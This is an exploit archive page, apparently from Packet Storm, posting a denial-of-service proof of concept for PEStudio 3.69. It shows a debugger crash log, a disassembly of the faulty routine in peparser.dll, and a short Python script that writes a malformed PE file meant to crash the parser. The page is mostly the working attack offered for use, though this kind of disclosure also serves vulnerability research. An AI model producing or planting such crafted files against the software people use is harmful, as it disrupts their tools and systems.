what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

PEStudio 3.69 Denial Of Service

PEStudio 3.69 Denial Of Service
Posted Jun 4, 2013
Authored by Debasish Mandal

PEStudio version 3.69 suffers from a denial of service vulnerability.

tags | exploit, denial of service
SHA-256 | 894e7f4fc68a36429f7c80e4ae5b799448f3a8f2cf6a057e92074baaf53a4122

PEStudio 3.69 Denial Of Service

Change Mirror Download
# Title: PEStudio Version 3.69 Denial of Service
# Date: 5th June 2013
# Author: Debasish Mandal ( https://twitter.com/debasishm89 )
# Blog : http://www.debasish.in/
# Software Homepage: http://www.winitor.com/
# Version: PEStudio Version 3.69
# Tested on: Windows XP SP2 / Windows 7
# Vendor Patch : Recently released stable version (v6.91) is not affected.

'''

[+] Affected Module : peparser.dll version 3.69

[+] Crash Point:

(6b4.17c): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=41414141 ecx=013f41d9 edx=013f0080 esi=00000000 edi=00004141
eip=3001ce70 esp=0012d15c ebp=00a26100 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000206
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Documents and Settings\debasish mandal\Desktop\Tools\PeStudio369\PeParser.dll -
PeParser!PeParser::IPeParserFactory::Destroy+0xf1d0:
3001ce70 8b510c mov edx,dword ptr [ecx+0Ch] ds:0023:013f41e5=????????
0:000> u eip
PeParser!PeParser::IPeParserFactory::Destroy+0xf1d0:
3001ce70 8b510c mov edx,dword ptr [ecx+0Ch]
3001ce73 3bda cmp ebx,edx
3001ce75 7209 jb PeParser!PeParser::IPeParserFactory::Destroy+0xf1e0 (3001ce80)
3001ce77 8b6908 mov ebp,dword ptr [ecx+8]
3001ce7a 03ea add ebp,edx
3001ce7c 3bdd cmp ebx,ebp
3001ce7e 720c jb PeParser!PeParser::IPeParserFactory::Destroy+0xf1ec (3001ce8c)
3001ce80 46 inc esi

[+] IDA Pro Snap of the Buggy Function:(Code from peparser.dll version 3.69)

.text:3001CE40 sub_3001CE40 proc near ; CODE XREF: sub_30003510+154p
.text:3001CE40 ; sub_300184D0+4Bp
.text:3001CE40 mov ecx, [ecx+4]
.text:3001CE43 xor eax, eax
.text:3001CE45 test ecx, ecx
.text:3001CE47 jz short locret_3001CE91
.text:3001CE49 mov edx, [ecx+1Ch]
.text:3001CE4C movzx ecx, word ptr [edx+14h]
.text:3001CE50 lea ecx, [ecx+edx+18h]
.text:3001CE54 test ecx, ecx
.text:3001CE56 jz short locret_3001CE91
.text:3001CE58 test ebx, ebx
.text:3001CE5A jz short locret_3001CE91
.text:3001CE5C push esi
.text:3001CE5D push edi
.text:3001CE5E movzx edi, word ptr [edx+6]
.text:3001CE62 xor esi, esi
.text:3001CE64 test edi, edi
.text:3001CE66 jle short loc_3001CE8F
.text:3001CE68 push ebp
.text:3001CE69 lea esp, [esp+0]
.text:3001CE70
.text:3001CE70 loc_3001CE70: ; CODE XREF: sub_3001CE40+46j
.text:3001CE70 mov edx, [ecx+0Ch] <-- Crash
.text:3001CE73 cmp ebx, edx
.text:3001CE75 jb short loc_3001CE80
.text:3001CE77 mov ebp, [ecx+8]
.text:3001CE7A add ebp, edx
.text:3001CE7C cmp ebx, ebp
.text:3001CE7E jb short loc_3001CE8C
.text:3001CE80
.text:3001CE80 loc_3001CE80: ; CODE XREF: sub_3001CE40+35j
.text:3001CE80 inc esi
.text:3001CE81 add ecx, 28h
.text:3001CE84 cmp esi, edi
.text:3001CE86 jl short loc_3001CE70
.text:3001CE88 pop ebp
.text:3001CE89 pop edi
.text:3001CE8A pop esi
.text:3001CE8B retn
.text:3001CE8C ; ---------------------------------------------------------------------------

[+] Proof of Concept :

'''
# /usr/bin/python
header = "MZ"
header += "A"*58
header += "\x80\x00\x00\x00"
header += "A"*3
header += "\x0e"
header += "A"*60
header += "PE"
header += "A"*235
f = open('POC.exe','wb')
f.write(header)
f.close()
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    0 Files
  • 5
    Mar 5th
    0 Files
  • 6
    Mar 6th
    0 Files
  • 7
    Mar 7th
    0 Files
  • 8
    Mar 8th
    0 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    0 Files
  • 12
    Mar 12th
    0 Files
  • 13
    Mar 13th
    0 Files
  • 14
    Mar 14th
    0 Files
  • 15
    Mar 15th
    0 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    0 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close